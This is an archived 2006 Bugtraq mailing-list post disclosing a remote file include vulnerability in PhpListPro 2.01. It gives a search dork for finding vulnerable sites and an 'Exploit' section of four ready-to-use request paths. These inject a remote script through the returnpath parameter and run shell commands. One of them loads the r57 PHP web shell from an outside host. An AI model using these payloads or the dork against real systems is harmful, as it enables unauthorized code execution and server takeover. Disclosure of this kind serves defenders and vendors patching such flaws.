PhpListPro 2.01 Remote File Include Vulnerability

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: PhpListPro 2.01 Remote File Include Vulnerability
From: SnoBMSN@xxxxxxxxxx
Date: 8 May 2006 20:40:10 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

Credits:
Discovered by: SnoB ->> SnoBmsn@xxxxxxxxxx
http://www.cyber-security.org

Vendor URL : SmartISoft http://smartisoft.com

Dork/Search for: "PHPListPro ©2001-2006 SmartISoft"

Exploit : 

/config.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF
/editsite.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF
/in.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF
/addsite.php?returnpath=http://mitglied.lycos.de/n0ssy/r57.txt?&cmd=ls

Security Adivisory | Edithor by SnoB

Prev by Date: Re: Firefox 1.5.0.3 - DoS
Next by Date: Re: Firefox 1.5.0.3 code execution exploit
Previous by thread: [TZO-042006] Insecure Auto-Update and File execution
Next by thread: Re: PhpListPro 2.01 Remote File Include Vulnerability
Index(es):
- Date
- Thread